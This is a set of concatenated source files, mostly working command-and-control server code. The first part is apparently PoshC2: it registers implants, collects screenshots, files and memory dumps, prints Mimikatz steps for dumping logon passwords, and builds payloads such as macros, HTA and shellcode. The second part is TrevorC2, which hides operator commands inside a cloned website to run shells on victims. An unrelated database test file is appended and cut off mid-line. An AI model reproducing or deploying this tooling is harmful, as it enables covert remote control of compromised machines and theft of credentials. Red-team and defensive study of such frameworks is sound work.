self.wfile.write(responseVal) else: try: cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY.encode("utf-8"), cookieVal) decCookie = str(decCookie) Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";") Proxy = Proxy.replace("\x00", "") IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) if "\\" in str(User): User = User[str(User).index('\\') + 1:] newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy) newImplant.save() newImplant.display() newImplant.autoruns() responseVal = encrypt(KEY, newImplant.PSCore) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(responseVal) except Exception as e: print("Decryption error: %s" % e) traceback.print_exc() self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(bytes(HTTPResponse, "utf-8")) # Send to shellctr shellctr_host = os.getenv("SHELLCTR_HOST") shellctr_user = os.getenv("SHELLCTR_USER") if shellctr_host is not None and shellctr_user is not None: try: urlopen("http://" + shellctr_host + "/add?host=" + IPAddress.split(":")[0] + "&user=" + shellctr_user + "&source=poshc2&annotation=" + str(newImplant.ImplantID)) except: pass else: self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() HTTPResponsePage = select_item("HTTPResponse", "C2Server") if HTTPResponsePage: self.wfile.write(bytes(HTTPResponsePage, "utf-8")) else: self.wfile.write(bytes(HTTPResponse, "utf-8")) def do_POST(self): """Respond to a POST request.""" try: self.server_version = ServerHeader self.sys_version = "" try: content_length = int(self.headers['Content-Length']) except: content_length = 0 self.cookieHeader = self.headers.get('Cookie') try: cookieVal = (self.cookieHeader).replace("SessionID=", "") except: cookieVal = "" post_data = self.rfile.read(content_length) logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data) now = datetime.datetime.now() result = get_implants_all() if not result: print_bad("Received post request but no implants in database... has the project been cleaned but you're using the same URLs?") return for i in result: implantID = i[0] RandomURI = i[1] Hostname = i[3] encKey = i[5] Domain = i[11] User = i[2] if RandomURI in self.path and cookieVal: update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"), RandomURI) decCookie = decrypt(encKey, cookieVal) rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) if decCookie.startswith("Error"): print(Colours.RED) print("The multicmd errored: ") print(rawoutput) print(Colours.GREEN) return taskId = str(int(decCookie.strip('\x00'))) taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId) executedCmd = get_cmd_from_task_id(taskId) task_owner = get_task_owner(taskId) print(Colours.GREEN) if task_owner is not None: print("Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, task_owner, implantID, Domain, User, Hostname, now.strftime("%d/%m/%Y %H:%M:%S"))) else: print("Task %s returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, implantID, Domain, User, Hostname, now.strftime("%d/%m/%Y %H:%M:%S"))) try: outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput) outputParsed = outputParsed.rstrip() except Exception: pass if "loadmodule" in executedCmd: print("Module loaded successfully") update_task(taskId, "Module loaded successfully") elif "get-screenshot" in executedCmd.lower(): try: decoded = base64.b64decode(outputParsed) filename = i[3] + "-" + now.strftime("%m%d%Y%H%M%S_" + randomuri()) output_file = open('%s%s.png' % (DownloadsDirectory, filename), 'wb') print("Screenshot captured: %s%s.png" % (DownloadsDirectory, filename)) update_task(taskId, "Screenshot captured: %s%s.png" % (DownloadsDirectory, filename)) output_file.write(decoded) output_file.close() except Exception: update_task(taskId, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!") print("Screenshot not captured, the screen could be locked or this user does not have access to the screen!") elif (executedCmd.lower().startswith("$shellcode64")) or (executedCmd.lower().startswith("$shellcode64")): update_task(taskId, "Upload shellcode complete") print("Upload shellcode complete") elif (executedCmd.lower().startswith("run-exe core.program core inject-shellcode")): update_task(taskId, "Upload shellcode complete") print(outputParsed) elif "download-file" in executedCmd.lower(): try: filename = executedCmd.lower().replace("download-files ", "") filename = filename.replace("download-file ", "") filename = filename.replace("-source ", "") filename = filename.replace("..", "") filename = filename.replace("'", "") filename = filename.replace('"', "") filename = filename.replace("\\", "/") directory, filename = filename.rsplit('/', 1) filename = filename.rstrip('\x00') original_filename = filename.strip() if not original_filename: directory = directory.rstrip('\x00') directory = directory.replace("/", "_").replace("\\", "_").strip() original_filename = directory try: if rawoutput.startswith("Error"): print("Error downloading file: ") print(rawoutput) break chunkNumber = rawoutput[:5] totalChunks = rawoutput[5:10] except Exception: chunkNumber = rawoutput[:5].decode("utf-8") totalChunks = rawoutput[5:10].decode("utf-8") if (chunkNumber == "00001") and os.path.isfile('%s%s' % (DownloadsDirectory, filename)): counter = 1 while(os.path.isfile('%s%s' % (DownloadsDirectory, filename))): if '.' in filename: filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter) + original_filename[original_filename.rfind('.'):] else: filename = original_filename + '-' + str(counter) counter += 1 if (chunkNumber != "00001"): counter = 1 if not os.path.isfile('%s%s' % (DownloadsDirectory, filename)): print("Error trying to download part of a file to a file that does not exist: %s" % filename) while(os.path.isfile('%s%s' % (DownloadsDirectory, filename))): # First find the 'next' file would be downloaded to if '.' in filename: filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter) + original_filename[original_filename.rfind('.'):] else: filename = original_filename + '-' + str(counter) counter += 1 if counter != 2: # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter if '.' in filename: filename = original_filename[:original_filename.rfind('.')] + '-' + str(counter - 2) + original_filename[original_filename.rfind('.'):] else: filename = original_filename + '-' + str(counter - 2) else: filename = original_filename print("Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename)) update_task(taskId, "Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename)) output_file = open('%s%s' % (DownloadsDirectory, filename), 'ab') try: output_file.write(rawoutput[10:]) except Exception: output_file.write(rawoutput[10:].encode("utf-8")) output_file.close() except Exception as e: update_task(taskId, "Error downloading file %s " % e) print("Error downloading file %s " % e) traceback.print_exc() elif "safetydump" in executedCmd.lower(): rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) if rawoutput.startswith("[-]") or rawoutput.startswith("ErrorCmd"): update_task(taskId, rawoutput) print(rawoutput) else: dumpname = "SafetyDump-Task-%s.b64" % taskIdStr dumppath = "%s%s" % (DownloadsDirectory, dumpname) open(dumppath, 'w').write(rawoutput) message = "Dump written to: %s" % dumppath message = message + "\n The base64 blob needs decoding on Windows and then Mimikatz can be run against it." message = message + "\n E.g:" message = message + "\n $filename = '.\\%s'" % dumpname message = message + "\n $b64 = Get-Content $filename" message = message + "\n $bytes = [System.Convert]::FromBase64String($b64)" message = message + "\n [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + 'safetydump.dmp', $bytes)" message = message + "\n ./mimikatz.exe" message = message + "\n sekurlsa::minidump safetydump.dmp" message = message + "\n sekurlsa::logonpasswords" update_task(taskId, message) print(message) elif (executedCmd.lower().startswith("run-exe safetykatz") or executedCmd.lower().startswith("invoke-mimikatz") or executedCmd.lower().startswith("pbind-command")) and "logonpasswords" in outputParsed.lower(): print("Parsing Mimikatz Output") process_mimikatz(outputParsed) update_task(taskId, outputParsed) print(Colours.GREEN) print(outputParsed + Colours.END) else: update_task(taskId, outputParsed) print(Colours.GREEN) print(outputParsed + Colours.END) except Exception as e: print(Colours.RED + "Unknown error!" + Colours.END) print(e) traceback.print_exc() finally: try: UriPath = str(self.path) sharpurls = get_sharpurls().split(",") sharplist = [] for i in sharpurls: i = i.replace(" ", "") i = i.replace("\"", "") sharplist.append("/" + i) if [ele for ele in sharplist if(ele in UriPath)]: try: open("%swebserver.log" % PoshProjectDirectory, "a").write("[+] Making POST connection to SharpSocks %s%s\r\n" % (SocksHost, UriPath)) r = Request("%s%s" % (SocksHost, UriPath), headers={'Cookie': '%s' % self.cookieHeader, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'}) res = urlopen(r, post_data) sharpout = res.read() self.send_response(res.getcode()) self.send_header("Content-type", "text/html") self.send_header("Content-Length", len(sharpout)) self.end_headers() if (len(sharpout) > 0): self.wfile.write(sharpout) except URLError as e: try: self.send_response(res.getcode()) except: self.send_response(500) self.send_header("Content-type", "text/html") try: self.send_header("Content-Length", len(sharpout)) except: self.send_header("Content-Length", 0) self.end_headers() open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) except Exception as e: self.send_response(res.getcode()) self.send_header("Content-type", "text/html") self.send_header("Content-Length", len(sharpout)) self.end_headers() open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) print(Colours.RED + "Error with SharpSocks or old implant connection - is SharpSocks running" + Colours.END) print(Colours.RED + UriPath + Colours.END) self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(bytes(HTTPResponse, "utf-8")) else: self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(default_response()) except Exception as e: print(Colours.RED + "Generic error in POST request!" + Colours.END) print(Colours.RED + UriPath + Colours.END) print(e) traceback.print_exc() ThreadingMixIn.daemon_threads = True class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): """Handle requests in a separate thread.""" def log_c2_messages(): while True: messages = get_c2_messages() if messages is not None: for message in messages: print(message) time.sleep(2) def main(args): httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler) try: if os.name == 'nt': os.system('cls') else: os.system('clear') except Exception: print("cls") print(chr(27) + "[2J") print(Colours.GREEN + logopic) print(Colours.END + "") if os.path.isfile(Database): print(("Using existing project: %s" % PoshProjectDirectory) + Colours.GREEN) database_connect() C2 = get_c2server_all() if ((C2[1] == PayloadCommsHost) and (C2[3] == DomainFrontHeader)): qstart = "%squickstart.txt" % (PoshProjectDirectory) if os.path.exists(qstart): with open(qstart, 'r') as f: print(f.read()) else: print("Error: different IP so regenerating payloads") if os.path.exists("%spayloads_old" % PoshProjectDirectory): import shutil shutil.rmtree("%spayloads_old" % PoshProjectDirectory) os.rename(PayloadsDirectory, "%s:_old" % PoshProjectDirectory) os.makedirs(PayloadsDirectory) C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], PayloadCommsHost, DomainFrontHeader, C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) new_urldetails("updated_host", PayloadCommsHost, C2[3], "", "", "", "") update_item("PayloadCommsHost", "C2Server", PayloadCommsHost) update_item("QuickCommand", "C2Server", QuickCommand) update_item("DomainFrontHeader", "C2Server", DomainFrontHeader) newPayload.CreateRaw() newPayload.CreateDlls() newPayload.CreateShellcode() newPayload.CreateSCT() newPayload.CreateHTA() newPayload.CreateCS() newPayload.CreateMacro() newPayload.CreateEXE() newPayload.CreateMsbuild() newPayload.CreatePython() newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt') else: print("Initializing new project folder and database" + Colours.GREEN) print("") directory = os.path.dirname(PoshProjectDirectory) if not os.path.exists(PoshProjectDirectory): os.makedirs(PoshProjectDirectory) if not os.path.exists(DownloadsDirectory): os.makedirs(DownloadsDirectory) if not os.path.exists(ReportsDirectory): os.makedirs(ReportsDirectory) if not os.path.exists(PayloadsDirectory): os.makedirs(PayloadsDirectory) initializedb() if not validate_sleep_time(DefaultSleep): print(Colours.RED) print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h") print(Colours.GREEN) sys.exit(1) setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, HTTPResponse, PoshProjectDirectory, PayloadCommsPort, QuickCommand, DownloadURI, "", "", "", Sounds, ClockworkSMS_APIKEY, ClockworkSMS_MobileNumbers, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, EnableNotifications) rewriteFile = "%s/rewrite-rules.txt" % directory print("Creating Rewrite Rules in: " + rewriteFile) print("") rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"] rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules() with open(rewriteFile, 'w') as outFile: for line in rewriteFileContents: outFile.write(line) outFile.write('\n') outFile.close() C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) new_urldetails("default", C2[1], C2[3], "", "", "", "") newPayload.CreateRaw() newPayload.CreateDlls() newPayload.CreateShellcode() newPayload.CreateSCT() newPayload.CreateHTA() newPayload.CreateCS() newPayload.CreateMacro() newPayload.CreateEXE() newPayload.CreateMsbuild() create_self_signed_cert(PoshProjectDirectory) newPayload.CreatePython() newPayload.WriteQuickstart(directory + '/quickstart.txt') print("") print("CONNECT URL: " + select_item("PayloadCommsHost", "C2Server") + get_newimplanturl() + Colours.GREEN) print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory) global KEY KEY = get_baseenckey() print("") print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort)) from datetime import date, datetime killdate = datetime.strptime(C2[5], '%d/%m/%Y').date() datedifference = number_of_days(date.today(), killdate) if datedifference < 8: print (Colours.RED+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference))) else: print (Colours.GREEN+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference))) print(Colours.END) protocol = urlparse(PayloadCommsHost).scheme if protocol == 'https': if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)): try: httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS) except Exception: httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1) else: raise ValueError("Cannot find the certificate files") c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True) c2_message_thread.start() try: httpd.serve_forever() except (KeyboardInterrupt, EOFError): httpd.server_close() print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort)) sys.exit(0) if __name__ == '__main__': args = sys.argv main(args)
trevorc2_server.py
#!/usr/bin/env python #Copyright 2018, TrevorC2 by TrustedSec, LLC All rights reserved. """ TrevorC2 - legitimate looking command and control. Written by: Dave Kennedy @HackingDave Website: https://www.trustedsec.com GIT: https://github.com/trustedsec This is the server side which will clone a website of your choosing. Once the site is cloned, it'll place information inside the source of the html to be decoded by the client and executed and then passed back to the server via a query string parameter. """ # CONFIG CONSTANTS: URL = ("http://www.baidu.com") # URL to clone to house a legitimate website USER_AGENT = ("User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") # THIS IS WHAT PATH WE WANT TO HIT FOR CODE - THIS CAN BE WHATEVER PATH YOU WANT ROOT_PATH_QUERY = ("/") # THIS FLAG IS WHERE THE CLIENT WILL SUBMIT VIA URL AND QUERY STRING GET PARAMETER SITE_PATH_QUERY = ("/images") # THIS IS THE QUERY STRING PARAMETER USED QUERY_STRING = ("guid=") # STUB FOR DATA - THIS IS USED TO SLIP DATA INTO THE SITE, WANT TO CHANGE THIS SO ITS NOT STATIC STUB = ("oldcss=") # Turn to True for SSL support SSL = False CERT_FILE = "" # Your Certificate for SSL # THIS IS OUR ENCRYPTION KEY - THIS NEEDS TO BE THE SAME ON BOTH SERVER AND CLIENT FOR APPROPRIATE DECRYPTION. RECOMMEND CHANGING THIS FROM THE DEFAULT KEY CIPHER = ("Tr3v0rC2R0x@nd1s@w350m3#TrevorForget") # DO NOT CHANGE BELOW THIS LINE import os import re import ssl import sys import time import glob import base64 try: import bleach except ImportError: print("[!] Python module bleach not installed. Try pip install bleach and re-run TrevorC2 Server.") sys.exit() import shutil import logging import urllib3 import requests import threading try: import tornado.web import tornado.ioloop import tornado.httpserver except ImportError: print("[!] Python module tornado not installed. Try pip install tornado and re-run TrevorC2 Server.") sys.exit() import hashlib from Crypto import Random from Crypto.Cipher import AES # asyncio is python3 only - only needed for python3 regardless for tornado fix python_version = ("") try: import asyncio except ImportError: python_version = "v2" urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) logging.getLogger("tornado.general").setLevel(logging.CRITICAL) logging.getLogger('urllib3').setLevel(logging.WARNING) logging.basicConfig(level=logging.CRITICAL, format='[%(asctime)s] %(message)s', datefmt='%Y-%m-%d %H:%M:%S') log = logging.getLogger(__name__) __author__ = 'Dave Kennedy (@HackingDave)' __version__ = 0.7 # ROOT CHECK if os.geteuid() != 0: print("\n[!] TrevorC2 needs to be run as root (web socket binding, etc.)... Re-run TrevorC2 as sudo/root in order to run.") sys.exit() # python 2/3 compatibility try: input = raw_input except NameError: pass # used for registering assets assets = [] def register_assets(hostname): global assets assets.append(hostname) # AESCipher Library Python2/3 support - http://depado.markdownblog.com/2015-05-11-aes-cipher-with-python-3-x class AESCipher(object): """ A classical AES Cipher. Can use any size of data and any size of password thanks to padding. Also ensure the coherence and the type of the data with a unicode to byte converter. """ def __init__(self, key): self.bs = 16 self.key = hashlib.sha256(AESCipher.str_to_bytes(key)).digest() @staticmethod def str_to_bytes(data): u_type = type(b''.decode('utf8')) if isinstance(data, u_type): return data.encode('utf8') return data def _pad(self, s): return s + (self.bs - len(s) % self.bs) * AESCipher.str_to_bytes(chr(self.bs - len(s) % self.bs)) @staticmethod def _unpad(s): return s[:-ord(s[len(s)-1:])] def encrypt(self, raw): raw = self._pad(AESCipher.str_to_bytes(raw)) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(raw)).decode('utf-8') def decrypt(self, enc): enc = base64.b64decode(enc) iv = enc[:AES.block_size] cipher = AES.new(self.key, AES.MODE_CBC, iv) return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') # add cipher key here cipher = AESCipher(key=CIPHER) def htc(m): """Decode URL for Postbacks.""" return chr(int(m.group(1), 16)) def urldecode(url): """URL Decode.""" rex = re.compile('%([0-9a-hA-H][0-9a-hA-H])', re.M) return rex.sub(htc, url) def clone_site(user_agent, url): """Our clone site function, to get the site we want to serve. :params user_agent = User Agent to grab the site with. :params url = URL if the site you want to clone. """ # auto remove old site if os.path.isdir("clone_site/"): for filename in glob.glob(os.path.abspath("clone_site/*")): if os.path.isdir(filename): shutil.rmtree(filename) else: os.remove(filename) else: os.makedirs("clone_site/") # run our wget print("[*] Cloning website: " + url) web_request = requests.get(url, headers={'User-Agent': user_agent}, verify=0) if web_request.status_code != 200 or len(web_request.content) < 1: print("[!] Unable to clone the site. Status Code: %s" % web_request.status_code) print("[!] Exiting TrevorC2...") sys.exit() with open("clone_site/index.html", 'wb') as fh: fh.write(web_request.content) # report success if os.path.isfile("clone_site/index.html"): print("[*] Site cloned successfully.") class UnknownPageHandler(tornado.web.RequestHandler): """No Endpoint Handler.""" def get(self): """Get Handler.""" x_real_ip = self.request.headers.get("X-Forwarded-For") remote_ip = self.request.remote_ip if not x_real_ip else bleach.clean(x_real_ip) log.warning('Request to Invalid Page from {}'.format(remote_ip)) self.set_header('Server', 'IIS') self.write('{"status": "ERROR: Unknown API Endpoint."}\n') return class RPQ(tornado.web.RequestHandler): """Output IP address and close.""" def get(self): """Get Handler.""" x_real_ip = self.request.headers.get("X-Forwarded-For") remote_ip = self.request.remote_ip if not x_real_ip else bleach.clean(x_real_ip) log.warning('Request to C2 Request Handler from {}'.format(remote_ip)) self.set_header('Server', 'IIS') site_data = open("clone_site/index.html", "r").read() instructions = str(open("clone_site/instructions.txt", "r").read()) site_data = site_data.replace("</body>", "<!-- %s%s --></body>" % (STUB, instructions)) self.write(str(site_data)) class SPQ(tornado.web.RequestHandler): """Output IP address and close.""" def get(self): """Get Handler.""" x_real_ip = self.request.headers.get("X-Forwarded-For") remote_ip = self.request.remote_ip if not x_real_ip else bleach.clean(x_real_ip) log.warning('Request to C2 Response Handler from {}'.format(remote_ip)) self.set_header('Server', 'IIS') args = self.request.arguments if not args: self.write('CACHE: FILE NOT FOUND\r\n') return for param in args: if param in (QUERY_STRING): query = args[param][0] if not query: return query = base64.b64decode(query) query_output = cipher.decrypt(query) # register hostnames if "magic_hostname=" in query_output: hostname = query_output.split("=")[1] register_assets(hostname + ":" + remote_ip) print("\n*** Received connection from {} and hostname {} for TrevorC2.".format(remote_ip, hostname)) else: hostname = query_output.split("::::")[0] data = query_output.split("::::")[1] with open("clone_site/received.txt", "w") as fh: fh.write('=-=-=-=-=-=-=-=-=-=-=\n(HOSTNAME: {}\nCLIENT: {})\n{}'.format(hostname, remote_ip, str(data))) with open("clone_site/instructions.txt", "w") as fh: no_instructions = cipher.encrypt("nothing".encode()) fh.write(no_instructions) def main_c2(): """Start C2 Server.""" application = tornado.web.Application([ (ROOT_PATH_QUERY, RPQ), (SITE_PATH_QUERY, SPQ), (r'/.*', UnknownPageHandler) # Make this the last line, if not matched, will hit this rule. ]) try: if SSL: http_server = tornado.httpserver.HTTPServer(application, ssl_options={'certfile': CERT_FILE, 'ssl_version': ssl.PROTOCOL_TLSv1}) http_server.listen(443) tornado.ioloop.IOLoop.instance().start() else: # if we are using pythonv3+ if python_version != "v2": asyncio.set_event_loop(asyncio.new_event_loop()) http_server = tornado.httpserver.HTTPServer(application) http_server.listen(80) tornado.ioloop.IOLoop.instance().start() http.start() except Exception as e: if "Address already in use" in str(e): print("[!] Something is already listening on the port. Stop the service and try again (hint service apache2 stop).") os._exit(1) # need os._exit() vs sys.exit due to inside of thread else: print("[!] Something went wrong, printing error message here: " + str(e)) def TrevorC2(): # print("TrevorC2 - Legitimate Website Covert Channel") # print("Written by: David Kennedy (@HackingDave)") # print("https://www.trustedsec.com") clone_site(USER_AGENT, URL) PYTHONVER = sys.version_info[0] print('[*] Starting Trevor C2 Server...') threading.Thread(target=main_c2).start() # here we say no instructions to the client with open("clone_site/instructions.txt", "w") as fh: no_instructions = cipher.encrypt("nothing".encode()) fh.write(no_instructions) # print("[*] Next, enter the command you want the victim to execute.") # print("[*] Client uses random intervals, this may take a few.") # print("[*] Type help for usage. Example commands, list, interact.\n") try: while 1: task = input("trevorc2>") if task == "help" or task == "?": print("*** TrevorC2 Help Menu ***\n\n") print("Command Usage:\n") print("list - will list all shells available") print("interact <id> - allow you to select which shells to interact with\n") if task == "list": counter = 0 print("\n*** Available TrevorC2 Shells Below ***\n") if assets == []: print("No available TrevorC2 shells.") else: print("Format: <session_id> <hostname>:<ipaddress>\n") for asset in assets: counter = counter + 1 print(str(counter) + ". " + asset + " (Trevor C2 Established)") print("\n") if task == "interact": print("[!] Correct usage: interact <session_id>") if task == "quit" or task == "exit": print("[*] Exiting TrevorC2... ") #os.system('kill $PPID') # This is an ugly method to kill process, due to threading this is a quick hack to kill with control-c. Will fix later. os.system('rm -rf clone_site') platform=sys.platform #ๅˆคๆ–ญ่Žทๅ–ๆ“ไฝœ็ณป็ปŸ if platform == "darwin": os.system('ps -ef | grep Python | grep -v grep | awk \'{print $2}\' | xargs kill -9') elif platform == "linux": os.system('ps -ef | grep python | grep -v grep | awk \'{print $2}\' | xargs kill -9') if "interact " in task: if assets != []: hostname_select = task.split(" ")[1] hostname_select = int(hostname_select) - 1 hostname = assets[hostname_select] hostname = hostname.split(":")[0] print("[*] Dropping into trevorc2 shell...") print("[*] Use exit or back to select other shells") while 1: task = input(hostname + ":trevorc2>") if task == "quit" or task == "exit" or task == "back": break task = (hostname + "::::" + task) task_out = cipher.encrypt(task.encode()) with open("clone_site/instructions.txt", "w") as fh: fh.write(task_out) print("[*] Waiting for command to be executed, be patient, results will be displayed here...") while 1: # we received a hit with our command if os.path.isfile("clone_site/received.txt"): data = open("clone_site/received.txt", "r").read() print("[*] Received response back from client...") print(data) # remove this so we don't use it anymore os.remove("clone_site/received.txt") break time.sleep(.3) else: print("[!] No sessions have been established to execute commands.") # cleanup when using keyboardinterrupt except KeyboardInterrupt: if os.path.isdir("clone_site/"): shutil.rmtree("clone_site/") print("\n\n[*] Exiting TrevorC2, covert C2 over legitimate HTTP(s).") os.system('kill $PPID') # This is an ugly method to kill process, due to threading this is a quick hack to kill with control-c. Will fix later. if __name__ == "__main__": TrevorC2()
test_ns_client_sendsnapshot.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2021 4Paradigm # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # -*- coding: utf-8 -*- import time import os from testcasebase import TestCaseBase from libs.deco import * from libs.test_loader import load import libs.utils as utils from libs.logger import infoLogger import libs.ddt as ddt import threading @ddt.ddt @multi_dimension(False) class TestSendSnapshot(TestCaseBase): def put_data(self, endpoint, tid, pid, count): for _ in range(int(count)): rs = self.put(endpoint, tid, pid, "testkey0", self.now() + 9999, "testvalue0testvalue0testvalue0testvalue00testvalue0testvalue0") self.assertIn("ok", rs) def sendsnapshot_concurrently(self, from_endpoint, tid, pid, *target_endpoints): """ ไธ€ไธชไธปๅŒๆ—ถๅ‘็ป™ๅคšไธชไปŽ :param from_endpoint: :param tid: :param pid: :param target_endpoints: :return: """ rs_list = [] def sendsnapshot(target_edp): rs = self.sendsnapshot(from_endpoint, tid, pid, target_edp) rs_list.append(rs) threads = [] for edp in target_endpoints: threads.append(threading.Thread( target=sendsnapshot, args=(edp,))) for t in threads: t.start() for t in threads: t.join() return rs_list def recieve_snapshot_concurrently(self, from_endpoint, tid_list, pid, target_endpoint): """ ๅคšไธชไธปๅŒๆ—ถๅ‘็ป™1ไธชไปŽ :param from_endpoint: :param tid_list: :param pid: :param target_endpoint: :return: """ rs_list = [] def sendsnapshot(t_id): rs = self.sendsnapshot(from_endpoint, t_id, pid, target_endpoint) rs_list.append(rs) threads = [] for tid in tid_list: threads.append(threading.Thread( target=sendsnapshot, args=(tid,))) for t in threads: t.start() for t in threads: t.join() return rs_list def send_and_recieve_concurrently(self, endpoint_1, tid_list_1, endpoint_2, tid_list_2, pid): """ ๅคšไธชไธปๅŒๆ—ถๅ‘็ป™ๅคšไธชไปŽ๏ผŒไธๅŒendpoint้—ด็›ธไบ’ๅ‘้€ :param endpoint_1: :param tid_list_1: :param endpoint_2: :param tid_list_2: :param pid: :return: """ rs_list = [] def sendsnapshot(from_edp, t_id, target_adp): rs = self.sendsnapshot(from_edp, t_id, pid, target_adp) rs_list.append(rs) threads = [] for tid in tid_list_1: threads.append(threading.Thread( target=sendsnapshot, args=(endpoint_1, tid, endpoint_2,))) for tid in tid_list_2: threads.append(threading.Thread( target=sendsnapshot, args=(endpoint_2, tid, endpoint_1,))) for t in threads: t.start() for t in threads: t.join() return rs_list def get_table_meta_tname(self): table_name = utils.exe_shell("cat {}/db/{}_{}/table_meta.txt|grep name|".format( self.slave1path, self.tid, self.pid) + "awk '{print $2}'") self.table_meta_tname = table_name[1:-1] return table_name[1:-1] def get_sdb_name(self, tid, pid): sdb_name = utils.exe_shell("ls {}/db/{}_{}/snapshot/|grep sdb".format( self.slave1path, tid, pid)) self.sdb_name = sdb_name return sdb_name def check_manifest(self, db_path, tid, pid, offset, name, count): try: mf = self.get_manifest(db_path, tid, pid) infoLogger.info(mf) self.assertEqual(mf['offset'], offset) self.assertEqual(mf['name'], name) self.assertEqual(mf['count'], count) return True except Exception as e: infoLogger.info(e) return False def assert_send_fail_by_log(self): rs = utils.exe_shell('cat {}/warning.log | grep "Init file receiver failed. ' 'tid\[{}\] pid\[{}\]"'.format(self.leaderpath, self.tid, self.pid, self.tid, self.pid)) self.assertTrue(rs) def assert_init_fail_by_log(self): rs = utils.exe_shell('cat {}/warning.log |grep "tid\[{}\] pid\[{}\]"' '|grep "Init FileSender failed"'.format(self.leaderpath, self.tid, self.pid)) self.assertTrue(rs) @staticmethod def get_steps_dict(): return { -2: 'time.sleep(1)', -1: 'time.sleep(5)', 0: 'self.create(self.slave1, self.tname, self.tid, self.pid, 144000, 2, "false")', 1: 'self.create(self.leader, self.tname, self.tid, self.pid, 144000, 2, "true")', 2: 'self.put_data(self.leader, self.tid, self.pid, 100)', 3: 'self.get_table_meta_tname()', 4: 'self.get_sdb_name(self.tid, self.pid)', 5: 'self.changerole(self.leader, self.tid, self.pid, "follower")', 6: '', 7: '', 8: '', 9: 'self.assertIn("SendSnapshot ok", self.sendsnapshot(self.leader, self.tid, self.pid, "111.222.333.444:80"))', 10: 'self.assertIn("SendSnapshot ok", self.sendsnapshot(self.leader, self.tid, self.pid, "0.0.0.0:80"))', 11: 'self.assertIn("Fail to SendSnapshot", 